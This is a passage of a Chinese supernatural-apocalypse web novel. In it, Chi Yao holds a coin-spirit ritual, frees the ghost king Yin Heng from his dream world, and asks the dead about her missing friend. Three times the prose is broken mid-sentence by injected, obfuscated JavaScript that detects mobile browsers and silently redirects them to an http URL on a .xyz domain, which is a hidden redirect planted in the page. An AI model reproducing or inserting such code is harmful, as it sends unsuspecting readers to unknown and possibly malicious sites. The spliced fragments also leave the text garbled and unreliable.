池遥点头,将拼音表摆在二人中间的床铺上,把硬币摆放在纸板中间,这一次两人有了经验,自然地将手指放了上去。 “银仙银仙......” 刚叫出银仙的名字,手下的硬币就微微一动,紧接着,缓缓挪到了旁边的位置。 怎么回事? 银仙只有在被召唤之后才会到来,然而此时,她还没来得及说出召唤词,银仙就赶了过来,这违背了游戏规则。 不过,确实有一种可能性。 除非,上一次仪式结束,将银仙送走时,她们就没有成功。 “银仙银仙,请问......是您本人吗?” 硬币停顿了一会儿,慢慢开始移动。 【是。】 “银仙银仙,上一次仪式结束后,你回家了吗?” 池遥提心吊胆地说出这句话。 手下的硬币一时之间没有任何反应。 窗外的光影微微晃动,在她身侧投下来一片模糊的影子,池遥定睛一看,身侧的影子像个人类的轮廓,背后是一只即便从影子里也能明显看出蓬松柔软的大尾巴,这个有尾巴的人影无端朝池遥的影子蹭了过去。 池遥身体猛地一抖。 有一瞬间,仿佛有什么看不到的人,也在虚空中轻轻拱了她一下。 是银仙吗? 池遥绷紧了脸,无论感受到什么,都不敢有任何明显的表情变化,只垂着头,仿佛没事人一样等待着手下硬币的回应。 没过多久,那种异样的感觉终于消失。 池遥手指下的钱币慢吞吞地移动起来。 【没有。】 果然。 在上一次仪式结束后,银仙并未回到它该去的地方,而是一直跟在池遥身边。 如果不是池遥突发奇想,再次召唤银仙,她恐怕会一直在不知情的状态下被银仙纠缠住。 幸好她现在再次召唤了银仙,这一次她一定会把银仙好好送走的。 池遥在心里暗暗下定决心。 “银仙银仙,我想知道,鬼王殷蘅现在在梦境的哪一处呢?” 前面两个临场发挥的问题结束后,终于进入了正题。 这个问题,池遥之前在花子小姐那里已经得到过答案了,问出这个问题只是为了引出后续的问题。因此,当银仙给出答案时,池遥并不意外。 【另一个空间。】 果然。 和花子小姐提供的信息一模一样。 “银仙,我们上一次召唤你的时候,问了你和缝隙中的女孩鬼怪相关的问题。”池遥在脑海中回顾不久前在另一个病房中进行的召唤内容,“那个时候,你的回答是,如果我第二次看见它,或者是在捉迷藏游戏中找到它,它都会把我带到另一个空间。” “那么,它即将带我去到的地方,与鬼王殷蘅所在的地方,是同一处吗?” 这一次,银仙沉默了很长时间。 池遥朝自己身侧的地面上看去。 原本依偎在她的影子身旁,属于银仙的影子仍然还在,从影子看去,它似乎十分焦躁,抱着大尾巴在原地打转。 这个问题分外重要,池遥没有开口催促,饶有兴趣地观察着银仙的影子。 从她的视角看去,映在地板上的影子银仙,比起普通的鬼怪,更像是一只毛茸茸,坏心眼,上蹿下跳的小狐狸。 虽然民间对银仙的传说大部分持负面观点,但池遥在看到地面上的大尾巴时,就忍不住心软了。 它只是个小狐狸呀,它能做出什么坏事呢? 直到地面上的影子停下了脚步,人影沮丧地垂下头,不动了,池遥才感觉到指尖下的钱币微微一动。 【是。】 看来她并没有猜错。 这个梦境本身就是一个独立于现实的空间,因此,就算存在除此之外的空间,也不会有太多。 缝隙中的鬼怪能去到的空间就算不是殷蘅所在的空间,它也一定深谙找到殷蘅的路径。 看来,还是要从缝隙中的女孩这里入手。 那么,就只剩下了最后一个问题。 “银仙,银仙,请告诉我......缝隙女孩现在身在何处?” 只要能够再一次看到缝隙中的女孩,她就能去往殷蘅所在的地方了。 【一直在你背后。】 这一次,银仙的回答却让池遥瞬间脊背发凉。 她按捺住想要立刻抛下手中的硬币直接转身的冲动,深吸一口气,在找到缝隙女孩之前,她还有一件十分重要的事要做。 “银仙银仙,我们下一次再玩吧,请你回家吧。” 这一次,她带着分外认真的心情,十分郑重地说出这句话。 手下的硬币不再动弹了。 池遥和一同按着硬币的骨女对视一眼,朝对方摇摇头,余光落在了身侧的地面上。 狐狸的影子并未消失。 它还像上一次一样,等待池遥主动结束仪式。 “银仙银仙,我们下一次再玩吧,请你回家吧。” 池遥第二次说出这句口诀。 身侧的影子闪了又闪,最后,再次变成一个更为小巧的样子。 不再是一个人影,而是变成了一个巴掌大的小狐狸形状,背后的大尾巴和它的身体一样大。 小狐狸安安静静地蜷缩在池遥影子的脚边,它把自己缩成小小的一团,试图降低自己的存在感。 这样可不行啊。 池遥轻轻叹了口气。 “银仙银仙,请你回家吧,我们下一次再见。” 第三次,她柔声说道。 终于,地板上的另一道影子慢慢消失,只剩下了池遥一个人的影子。 等了五分钟,还是没有任何变化。 池遥终于松了一口气,和骨女一同松开手,这一次的仪式持续了很长时间,刚松开手,她就从病床边站起来,左右拉伸了一下酸痛的手臂。 在她的背后,就是病房墙壁。 而此时,池遥心里清楚,她要找的鬼怪就潜藏在身后的墙缝里。 但她并没有转过身去,反而后退了一步,后背倚靠着墙壁,装作放松的模样,与骨女交谈起来。 “我很快就要去找殷蘅了。” 池遥的目光停留在骨女的脸上。 对面的鬼怪实在长着一张过于令人惊艳的面容,美丽到可以让人忽略她的鬼怪身份,如果池遥遇到她的时候不是处于被鬼怪追赶的紧急情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328666|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况,说不定也会掉进骨女的陷阱。 但现在,她和骨女一人一鬼一起经历了不少险境,从不少鬼怪的手下逃脱,到了分别的时刻,反而有些不忍。 一旦叫醒殷蘅,她会回到现实世界,而骨女等众多鬼怪将回归殷蘅体内。 她们就再也没有见面的机会了。 “嗯。”骨女点点头,她的脸色并不好,仿佛蒙着一层阴影,但很快补充了一句,“没事的,我们不会死去,以后如果殷蘅他再次精神失常,或者能力失控,我们还是有机会出来放风的。” “所以这次梦境是源于他能力失控了吗?” 还以为是他每一次做噩梦都会有如此巨大的阵仗。 “是的,他在上一个世界吞噬的鬼怪太多,造成了能力失控,才陷入沉睡。” 池遥点点头,深吸一口气,拍拍骨女的肩膀。 “那,我就出发了。” 说话的同时,池遥快速转身,与背后的墙缝里一颗好奇的眼珠对视。 “找到你了。” 池遥的目光紧紧盯住缝隙中的鬼怪,女孩没办法,在池遥强烈的视线之下只好不情不愿地现身。 “好吧,是你赢了。”她显然很不希望被池遥找到,嘴角撅得高高的,满脸不开心,但还是妥协了。 “之前也说过,如果你第二次看到我,就没有那么好运了!”她强装出一副威慑的模样,但在从银仙处得知她全部情报的池遥面前,她的伪装十分牵强,“我会把你拉入另一个空间。” “求之不得。” 池遥顺从地伸出手,还不忘指指身旁的骨女。 “买一送一,你可以把她一起带过去吗?” “我只能接触人类!接触不到其他鬼怪!” 看着得寸进尺的池遥,缝隙女孩忍不住大声拒绝,一把拉过池遥的手,动作粗暴地将她拽进了病房里的缝隙当中。 一瞬间,缝隙女孩与池遥的身影同时从病房里消失不见。 只剩下骨女环顾了一圈空荡荡的病房,和池遥没来得及带走的背包,深深叹了口气,重新坐回了空病床上。 过不了多久,它们所在的空间就不复存在了。 被缝隙女孩猛地拉进墙缝里时,池遥根本没做好准备,本能地闭紧了眼睛,不知过了多久,身体从失重感中挣脱出来,再次感受到了脚踩地面的实感,才睁开眼睛,打量着周围的一切。 头顶的天空是诡异的绛红色,池遥很少见到这种如同火焰熊熊燃烧的天幕,她此时身处一片荒野之上,周围地势平坦,天幕更显得分外遥远,与远处的地平线相接,漆黑的土地与火红的天际相接。 她面前空无一物,只剩下这一片空旷,荒凉,诡谲的平原,仿佛偌大的世界除了她以外空无一人。 转过身来,她才发现,在她身后不远处,突兀地立着一个巨大的笼子。 笼子接近三米高,有一个电梯厢大,笼子顶部的锁链垂至地面,沿着地面蜿蜒而下,垂至不远处一个深不见底的巨型坑洞之中。 而在这个巨大的笼子中,关着一个青年。 一个浑身被锁链缠满的消瘦青年。 池遥走近了几步,终于看到了对方的全貌。 那是个看起来极为年轻,与池遥年纪相仿,介于少年与青年之间的人。 青年身量极高,但身形却异常单薄,瘦得令人心惊。他皮肤极为苍白,让池遥一瞬间想到了追杀她的玛丽人偶,但他暴露在外的皮肤看起来极为脆弱,每一处都在渗血,显得狼狈不堪。 池遥终于走到了笼子前,双手握住笼门的栏杆。 感受到了池遥的到来,垂着头的青年终于微微抬头,从凌乱的黑色长发下,露出了一张堪称绝色的面容。 “殷蘅。” 池遥终于叫出了他的名字。 49. 旅人与世界1 听到自己的名字,青年终于有了些反应。 隐在长发之下的眼珠如同琉璃一般剔透,听到池遥的声音后微微转动一下,目光后知后觉地聚焦在池遥身上。 他的神色有些迟钝,仿佛一只发条生锈的人偶,又因此显得比常人更加脆弱。 池遥连叫他的名字都刻意放轻了声音,对方看起来实在太易碎了,让她不由自主地就放柔了态度。 “请问......你是鬼王殷蘅吗?” “嗯。” 青年点点头,在他点头时,脖颈处的皮肤不知为何再次凭空多了几块伤口,殷红的液体顺着白皙的颈部皮肤缓缓流下。 他浑身的色彩实在过于浅淡,除了黑白两色只剩下皮肤处大片大片的殷红,竟然给他凭空添了几分艳色。像水墨画中突兀的一笔红色。 “你还好吗?”池遥忍不住将目光投向捆缚着他的铁链之上,他身上大大小小的伤口不知道是否与沉重的铁链有关,但刚才,他只是身体微微一动,皮肤就会撕裂渗血,恐怕还有更深层的原因。 “我来找你是想说,不知道你有没有意识到,我们现在所处的地方,是你的梦境。” 池遥话说了一半,不由地停顿了一下,去观察殷蘅的表情。 他低垂着眼睫,面上没什么表情,看不出到底有没有在听她的话。 对面的青年生得惊艳,五官秾丽却不显得艳俗,面无表情的时候,总是显得极其冷淡,但他身上的伤势大大弱化了他的冷冽,反而给他添了几分凄惨。 “我没事。” 池遥的话音刚一停下,殷蘅就回答了她的问题,他的声音也很轻,以气声为主,有些虚弱,不知道是他说话的习惯还是重伤导致的。 看来他有在听她的话。 池遥在心中暗暗点头,继续道。 “就像我刚才说的,我们现在身处于你的梦境当中。因为你沉睡后能力失控,导致很多鬼怪逃了出来,也波及了很多路过的人类进入了这个空间,我也是其中之一。只要你能自主醒来,这个梦境也会随之消散。” “所以,你可以......醒来吗?” 在池遥说话的期间,殷蘅的目光一直停留在她的身上。 他有一头如同墨汁一般漆黑的长发,瞳仁的颜色却有些浅淡,若不仔细观察,难以看清他的瞳孔形状。因此,当他的视线保持不动的时候,看起来视线没有焦距,有几分涣散,整个人仿佛一具空壳。 也像一具精美的尸体。 话音停下,池遥盯着殷蘅看去,却发现他忽然伸出一只手,动作小心翼翼地触碰了一下池遥握着笼门的手。 他的指尖只轻轻擦过池遥的指节,就触电般收了回去。 但这转瞬之间的一下轻触,已经让池遥感受到了他指尖的温度。 非常冰冷。 “我知道了。” 收回手后,殷蘅很快就给出了答复。 “只要把逸散的灵体全部收回,这个梦境世界自然会粉碎。” 他的话倒是没什么问题,只是把池遥的逻辑顺序颠倒了一下,只不过,在池遥的理解中,主动苏醒和破坏梦境世界这两件事,明显是前者更加容易。 而殷蘅却毫不犹豫地选择了后者。 难道他不具备自主苏醒的能力吗? “那你呢?”她不由问道。 “我自然也会醒来。” 笼中的青年伸出手,只一息之间,池遥就感受到了汹涌的凉意从背后袭来。 她连忙回头看去。 身后的景物没有任何变化,她还是伫立在一片空旷的荒野之上,然而,刚刚还平静无波的空间里,无端起了风。 自周围涌向殷蘅掌心的风。 又像是有什么池遥看不见,摸不着的东西在随着风一同涌向殷蘅的身体,旁观这一切的池遥只觉得这阵风冷得不同寻常,有些阴森,不时还能听到恐怖如人声一般的呼啸。 不对,刚刚殷蘅的说法是“收回逸散的灵体”。 那么,他现在的动作,无疑就是在把分散在医院各处的鬼怪重新收回自己的体内。 不知为何,刚才在医院中看得见,摸不着的各种鬼怪,此刻全部化为了透明的灵魂体,只依稀传出些惨叫让池遥感知到它们的存在。 但池遥也很庆幸,此时站在殷蘅身旁的自己无法看到具象化的鬼怪,她刚才在医院里已经遇见不少长相狰狞恐怖的鬼怪,并不是很想再见一次面。 但是,想到骨女,她的情绪还是微妙的低落了些。 随着风越来越大,四周原野与天空的边界线也在隐隐波动,露出像风扫过水面一样的波澜线条,最远处的天空似乎在崩塌,碎裂,发出巨大的轰鸣声。 池遥猛地看向殷蘅。 殷蘅的动作不变,仍旧伸着一只手,四周涌来的风折断牢笼四周的栏杆,在他的掌心处汇聚成状似旋涡的气流,池遥能够听到旋涡当中传来众多鬼怪的哀嚎声。 隐隐约约,她发现殷蘅的身躯似乎有几分透明,逐渐被他吞噬的众多灵魂所同化。 笼门不知什么时候也被破坏了,他从缺口处走到池遥身边,跟随着池遥的视线,看向逐渐崩塌的天际。 “这个世界快要崩塌了。” 他的声音低低的,不知为何,似乎还有几分遗憾的意味,但很快,他侧头看了一眼池遥,短促命令道。 “闭眼!” 池遥立刻闭紧了双眼。 就在她闭眼的一瞬间,耳边鬼怪的哀嚎声突然放大,凄厉的惨叫声占据了全部感官。 但很快,所有声音全部消失了,一片漆黑中,身体失重般不停下坠,她不知道眼前的黑暗究竟源于崩塌的世界还是闭上的眼睛,只隐约觉得,自己似乎离梦境越来越远。 越来越远。 “醒醒!” 陌生的声音将池遥唤醒,她睁开眼,发现自己此时正倒在医院的后院地面上,叫醒自己的是一个陌生人,在她身边,还横七竖八地躺着不少人,只不过没过几秒就都睁开了眼,一个接一个地从地上爬了起来。 看来这些人都是被殷蘅的梦境波及到的人类了。 池遥狠狠拧了一把自己的手臂,很快又龇牙咧嘴地放下了手。 头顶的天幕颜色昏黄,此时似乎已经到了黄昏时刻,但终究不是夜幕,面前连在一起的医院大楼上镀了一层晚霞的光晕,一切看起来都如此真切。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342941|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她真的回到现实了。 掌心的热流又重新活跃了起来,池遥对自己使用了一点点治愈能力,她的能力确实回来了。 紧接着,她又整理了一下领口,顺便轻轻触碰脖颈间的吊坠。 眼前,再度浮现出了吊坠内部的样子。吊坠也恢复正常了。 “这是怎么回事?” 身边,有刚醒来的人提出了疑问。 “不知道什么情况,但听别人说,似乎和什么鬼王有关。” “我也听说过鬼王这个名字!” 周围一同被卷入梦境当中的人们开始聚在一起,窸窸窣窣地聊天,交换情报,除了池遥,没人知道刚才究竟发生了什么事,最终,只能认定,刚才所遇见极为荒谬的一切,都只是梦的效应,是所有人同时做了相似的梦。 这么说倒也没错。 “太可怕了,我梦到我被裂口女吃掉了!就是恐怖片里才会出现的裂口女!” “天呐!我被女鬼杀掉了!幸好只是一场梦!” 看来在殷蘅的梦境里被鬼怪杀死的人也同样醒来了。 池遥在心中松了口气。 发生了这样的事,大家都不愿意继续留在医院范围内,很快就有人催促。 “快走吧,这地方不宜久留!” “也对,这鬼王一听就是很强大的天赋者,我们还是少掺和为好!” 池遥顺着周围成群结队离开的人的方向,一个个看去。 并没有找到殷蘅的身影。 梦境已经消散,医院周围并没有丧尸的影子,殷蘅想必不会离她太远。 池遥逆着人流,再次踏入了医院大门。 她还想在现实中见殷蘅一面。 不止是为了询问骨女口中那些她从未得知的情报,更是因为,或许殷蘅有办法帮助她找到曲卓。 这一次,真的没有了鬼怪,也没有丧尸,医院一楼空空荡荡。 池遥在医院一楼转悠了一圈。 殷蘅若是进了医院,大概率是有想要找到的东西,楼上都是不同科室病房,他大概率在一楼。 最后,池遥在前方的门诊大楼药房内找到了他。 现实中的殷蘅与梦境中的他长相没有任何变化,但气质却截然不同。 梦境中被困在笼中的青年看上去安静,易碎,带着年轻人的稚气,但此时,倚靠在药房柜台上的殷蘅看上去更为阴沉,疲倦。 他穿一身纯黑色的长袍,仅看上去就与池遥所处的现代社会格格不入。而垂至后腰的长发,惨白宛若鬼魅的皮肤,都昭示着他的不同寻常。 他身上的衣物将自颈部以下的皮肤遮掩得严严实实,因此,池遥也不清楚他此时的皮肤是否在流血,仅看外表,他全身似乎没留下什么伤痕,然而,池遥却觉得他看起来疲惫极了,仿佛随时都能倒下,陷入沉睡,或者一睡不醒。 他看起来状态并不好。 怪不得会在睡梦中能力失控。 “殷蘅。” 她主动开口,迎着青年满含倦意的目光,叫出对方的名字。 “还记得我吗?我们在梦境里见过的。” “我来找你,是想请你帮我一个忙。” 50. 旅人与世界2 在池遥开口之前,殷蘅完全没注意到她。 他只是靠着柜台松松垮垮地站着,一只手撑着桌面,低垂着脑袋,眼睛半阖,一副似梦似醒,浑浑噩噩的样子。 身体各处传来绵长,麻木的钝痛,痛感并不强烈,也说不上具体哪里在痛,也有可能只是神经做出了错误的反馈。他摇了摇头,将挡在视线前的长发拨回脑后,听到了一共有几分熟悉的声音。 “殷蘅。” 在叫他的名字。 他朝着声音的源头看去,晃动的视线中,看到池遥正朝着他走来。 他就听到了后面的话。 池遥觉得眼前的人很不对劲。 在梦境当中见到的殷蘅,看起来再混乱,再恍惚,她也觉得无所谓,毕竟那只是一场梦。 但此时,现实中的殷蘅看上去却比梦境中的他状态还差。 他看上去摇摇欲坠,仿佛已经虚弱到不靠着些什么就会倒下的程度。 看到这一情形,池遥有些犹豫要不要继续往下说。 “好。” 然而,殷蘅连帮忙的具体内容都没问,直接一口应下。 他说话的声线要比梦中更喑哑些,嗓音压得很沉,这才让池遥有种见到真人的实感。 “但先等我睡一觉。” 沉默半晌,他又很突兀地加了一句话,在这之后,喉结又上下滚动一下,似乎想说什么,但当池遥望向他的眼睛时,他又避开了池遥的目光,闭口不言。 或许这人不太擅长沟通。 “好啊,不着急。” 池遥的目光在他身侧空荡荡的柜台扫视一圈,末日降临的几个月后,医院药房里的所有药品早就被掠夺一空,他出现在这里的目的大概率是为了药物,只不过终究扑了个空。 紧接着,她看到殷蘅稍微站得直了一点,撑在桌面上的手仍旧没放开,他就这样半撑着身体,晃晃悠悠地走到靠近药房后门的角落坐下。他身形虽然高,但在北城这个人均大高个的地方,这样的身高其实也不算特别突出,只是他黑袍之下的身形实在太消瘦,把他的身形拉得很长很长,仿佛一颗随风飘摇的柳枝。 池遥在吊坠空间里翻找了一下,找出了她在宿舍时闲置的被子,抱着叠成豆腐块的被子递给殷蘅,对方愣了一下,没收,池遥直接把被子打开扔到他身上。 尽管是在室内,但医院一楼的温度比室外高不了多少,若是让池遥只穿一身长袍在这里席地睡下,醒来后必然感冒。 她又折返回药房门口,关紧了门,又从里侧将门反锁住,一方面是为了挡风,另一方面也是为了防备丧尸。 只不过,自从她从梦中醒来到现在,还没看到医院里出现丧尸,难道是殷蘅梦境的副作用吗? 这么一想,她便看向坐在不远处的殷蘅,对方垂着头,看不清究竟是否入睡。 “丧尸应该不会接近吧.....” 她用极轻的声音念叨了一声,怕打扰到殷蘅,音量很小。 “不会,它们不会接近我。” 不远处的人回了一句。 闻言,池遥点点头,终于放下心来,在殷蘅斜对角的墙边小心翼翼布置好自己的地铺,这次她铺了三层被褥,又盖上最厚的被子,才终于感觉温暖起来。 还是要尽快到达江北避难所。 北城的冬季太折磨人,这室外简直不是人呆的地方,要是到了一月份,离了暖气,她的生命安全都会受到威胁。 但很快,她又反应过来,如今断水断电的世道,就算避难所估计也没有更好的取暖条件,和自己此时躺着的场所估计也没什么区别。 想到这里,她没来由的,觉得心头有些泛酸,把身体蜷缩成一团,深深叹了口气。 手表显示的时间只有下午六点,冬季的北城到了下午三四点天就黑透了,白昼时间大幅度锐减,并不是件好事。 这个时间实在不是入睡的时候,但是池遥这一天经历了太多,她今天简直经历了这辈子都没经历过的巨大精神惊吓,如今,在安静的药房,温暖的被窝里,久违地感受到了困意袭来。 或许是她真的累了,这一觉难得没有多次惊醒,当她最后一次醒来时,手表上显示的时间是凌晨三点。 虽然有点阴间,但也是充足的九小时睡眠。 药房里没有窗户,池遥把所有门都关紧后,里面就变成了一片漆黑的密闭空间,池遥的眼睛要适应一会儿才能看清黑暗里的情况,她迟疑了一会儿,打开了智能手表的手电筒。 手电筒的光线很柔和,也不亮,借着微弱的光源和逐渐适应的视力,池遥看到了药房里的光景。 殷蘅靠在药房柜台上,双臂在后撑着桌面,仰着头,露出完整的脸。睡了一觉过后,他的脸色还是那样不好,与池遥在梦境中见到的鬼怪区别不大。药房的陈设没什么变化,但似乎要比她睡前干净了一些,她之前放在殷蘅手里的被子也不知道去哪儿了。 池遥一坐起来,殷蘅就朝她的方向看来,随后走到她面前,俯身。 他一弯腰,有什么极为眼熟的东西就从他的领口滑落,垂在池遥眼前,是一枚形状和池遥的十分相似的吊坠,他从吊坠里取出叠成豆腐块的被子,还给池遥。 池遥惊讶的视线与他相撞,她这才发现,在她昨晚习惯性使用吊坠时,殷蘅完全没有表现出任何吃惊的神色。 对方的神色过于平静,因此池遥的惊讶也只持续了短短几秒,就继续收拾自己的床铺了。 等她收拾完,站起身,听到了殷蘅的声音。 “你想让我帮什么忙?” “我有一个失散的朋友,不知道你有没有见过她。”池遥掏出早就准备好的照片,递给对方,“她叫曲卓。” 殷蘅接过照片,看了一眼。 照片里是两个紧贴在一起,笑得无比灿烂的女孩子,他盯着照片左侧的人看了一会儿,只觉得隐隐有些熟悉,又将目光投向池遥,才发现照片里的人就是面前的女孩,这才开始观察另一侧的人影。 他见过的人太多,太杂,难以记住,根本不能确定自己是否见过这个女孩。 池遥以为殷蘅会想其他人一样,看一眼就干脆地否认,但殷蘅盯着手里的照片,一言不发,过了一会儿,伸出手轻轻揉了揉眼睛。 “我不确定我是否见过。”他给出了一个模棱两可的答案,“但我可以帮你问问其他灵魂,在此地的亡魂。” 亡魂二字出口,池遥的表情有一瞬间覆上了一层阴霾,但殷蘅的表情毫无变化,她只能抑制住心头陡然被牵起的难过情绪,跟在殷蘅身后,打开门,走出药房。 凌晨三四点的北城还被覆盖在一片黑暗之中,池遥跟着殷蘅一直走到医院大门口,这期间她在空荡荡的走廊里看不到一只丧尸,也许真的如殷蘅所说,他有特殊的手段对付丧尸吧。 医院外的街道上,不知为何,目之所及之处到处都没有丧尸的踪迹。 池遥侧过头,看了一眼她斜前方的殷蘅。 眼前的人,绝对是她见过最为强大的天赋者。 “人死后灵魂会在现世游荡七七四十九天。”殷蘅解释了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354557|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,“如果你的朋友在四十九天之内经过了这条街道,此处的亡魂一定对她有所印象。” “那四十九天之后呢?” 池遥忽然问他。 “四十九天后,会前往冥界,”殷蘅停顿了一会儿,改口道,“一个和冥界相似的地方。” 池遥点点头。 她又想到了庄晴,文茵,蔓蔓。 还有在常青中学那场事件中死去的众多普通人。 就算死去的人,也不会消失,而是会好好的回归冥界的怀抱,真是太好了。 那样,在她迎来生命的终点之时,就能再次与大家重逢。 “这条街道有很多亡魂。”殷蘅环顾周围一圈,忽然开口,打断了池遥的思考。 她学着殷蘅的动作,环顾四周,四下空空荡荡,连个丧尸的影子都没瞧见。 看来没有她什么事了。 紧接着,她看到殷蘅举起手中的照片,冲着空旷的街道低声道。 “我在找照片上的这个人,你们有人见过她吗?” 接着,他不说话了,视线在对面的空气中反复跳跃。 “你的朋友叫什么名字?” 他忽然问。 “曲卓。乐曲的曲,卓越的卓。” 殷蘅就点了点头,没过一会儿,又问道。 “你呢?” “我叫池遥。三点水池,遥远的遥。” “池遥。” 她听见殷蘅用气声,重复了一遍她的名字。 又过了一会儿,她看到殷蘅抬手按着眉心,轻轻叹了一口气,再次问她。 “你那个朋友,曲卓,她是独自一人吗?” 这个池遥也不能确定。 “应该是......一个人吧?” 想到之前和温俭的对话,她觉得曲卓是独自一人的可能更大些。 这一次,池遥回话的语气也不太踏实,殷蘅侧过头看了她一样,又看看虚空,又问。 “你想直接和它们交流吗?” “这是可以做到的吗?” “嗯。” 殷蘅闷闷地应了一声,从他的吊坠中取出一把小刀,划破拇指,霎时,就流出几滴深红色的血。 不知为何,他的血液色泽要比普通人的血液更深,更暗。 “闭眼。” 闭上眼,池遥能感受到,他受伤的指腹贴在她的眼皮上,用力一抹,像涂画眼影一样,将他的血印在了池遥的眼周。 再次睁眼时,眼前的一切都变了。 街道的景物并没有发生变化,但在他们面前,却站着成排的人。 这些人形态各异,大多维持着死亡时的模样,身体呈现出半透明的状态,此时,他们的声音才真正传入池遥的耳中。 “好像的确是有个这样的小姑娘路过了。” “真的吗?”池遥立刻补充,“她身高一米七左右,是一位天赋者!” “能对上。”亡魂点点头,“不过她并不是自己一个人呀,她身边还有个年轻男人,看起来比你们大几岁。” “啊?” 不会吧? 曲卓难不成……背着她有狗了? 说话的亡魂似乎怕她不相信,又捅捅另一个亡魂。 “你还记得吗?差不多一个半月以前,有两个人路过,一男一女,都是天赋者。男的实力很强,女的长得和照片里一模一样。” “是有这么一回事,他们当时还说要去哪儿来着?” “好像是......香林山景区!” 51. 旅人与世界3 香林山,海拔不到五百米,只有在地处低海拔平原的北城市才能得到“山”的桂冠,出了北城,它就是一个海拔稍微高一点的小土坡。 但只要处于北城,它就是当之无愧的“北城第一山”,也是北城境内唯一的一座山峰。 由此可见,选择比努力重要得多。 北城是以冰雪闻名的旅游城市,到了夏天就剩不了几个景点,每到这个时候,香林山就会成为外地游客到北城的首选。当然,大部分游客都是开开心心去,骂骂咧咧回。 因此,在网络环境愈发发达的当下,香林山成功成为了社交网站上的万人避雷项目,也成了北城旅游业唯一的污点。 香林山景区对北城本地人免票,因此,大多数北城本地人,小时候攀登过的第一座有名的山峰就是香林山,长大后去了其他城市,见惯了名山大川,又会对自家这个小土坡祛魅。 “香林山景区?” 池遥忍不住重复了一遍。 起初,她还想吐槽自己的好闺蜜莫名其妙有狗了。 但现在,她只想知道,曲卓去香林山做什么? 那种地方有什么可去的? 然而,在听到亡魂的话语时,殷蘅却将两道好看的眉头蹙得紧紧的,不知在思索什么。 “香林山景区......是‘景点’吗?” 这话问得奇怪,池遥不明所以地瞥他一眼。 这人说什么呢,景区和景点不是同义词吗? “的确是。”被问到的亡魂忙不迭回答。 “那他们现在应该已经不在这个世界了。”殷蘅轻声给出一个奇怪的结论,侧过头看向池遥,“你还要去下一个世界找朋友吗?” 然而,映入眼帘的,是池遥明显状况外的呆滞表情。 “啊?下一个世界?” 她看起来完全没有理解殷蘅的话。 殷蘅沉默了。 他一旦不开口,身旁的众多亡魂也跟着一同陷入沉默,氛围立马变得诡异起来,池遥后知后觉地抬眼看他,有一肚子疑问想问,不知道该如何开口。 过了好一会儿,殷蘅才再次开口。 “池遥。” 他叫了一声池遥的名字。 “你是能力者吧?” “啊。”池遥理所当然地应了一声,不明白殷蘅为什么问这个。 她虽然没有在殷蘅面前使用过能力,但也没有掩饰自己有能力的事实,她不认为殷蘅看不出来。 但令她在意的是,殷蘅在问话的时候并没有使用天赋者这个词汇,而是用能力者一词代替。 这让池遥愈发怀疑,在她的认知之外,对于能力,末日,行尸,世界等等她从未触及的领域存在着一条合理的逻辑体系,有严谨的用语和词汇指代,而且已经变成某些人的共识。 “那你......”殷蘅的话语顿了一下,像因为时间流逝而失灵的旧磁带,一播放起来就一卡一卡的,“你,是本地人吗?” “对呀。”池遥点点头。 无论是北城,还是有其他的指向,她都符合本地人的概念。 倒是她对面的殷蘅,他看起来完全不像是北城本地人。不仅是北城人,他在池遥眼中略显奇怪的打扮,若是在几个月前,会被池遥认成经济水平不佳但有神颜傍身的高还原COSER,而放到现在,他看上去仿佛是另一个世界的人。 对,另一个世界的人。 想到这里,她忍不住开口。 “你是说,曲卓去下一个世界了?这是什么意思?我要怎么过去?” “你还要继续跟着你朋友去另一个世界吗?”殷蘅问。 她紧跟着点头。 一旁的亡魂们又开始叽叽喳喳。 “很简单啊,既然你是能力者,去景点打卡,打完卡就可以去下一个世界了。” “说得容易!哪儿有那么简单?打卡景点多凶险啊!还不如在这个世界舒舒服服待着!” 景点打卡? 池遥当然明白这个词汇的意思。 上一个暑假和曲卓结伴旅行就堪称一场大型打卡之旅,二人去了各种网红取景地,拍了一大堆好看照片,看起来光鲜亮丽,实际到处踩雷,花了一堆冤枉钱,又浪费了时间。 只不过,听其他人话里的意思,这四个字的意义绝非她理解的那样。 “跟我来。”殷蘅轻咳一声,周围的灵魂们再度缄默无声,他示意池遥跟着自己走,池遥跟着他穿过街道,发现他随意找了一间破坏程度不大的店铺,走了进去,示意池遥跟上来。 这是一件共享自习室,零食区的食物已经被洗劫一空,其他区域倒没遭到破坏,池遥推开内侧包间的门,发现里面还有几间双人小包间,和殷蘅一起走了进去。 二人面对面坐下,池遥等了一会儿,却见到殷蘅递了一包湿巾过来。 “擦擦眼睛。” 池遥这才想起来,她的眼皮上还留着殷蘅的血。 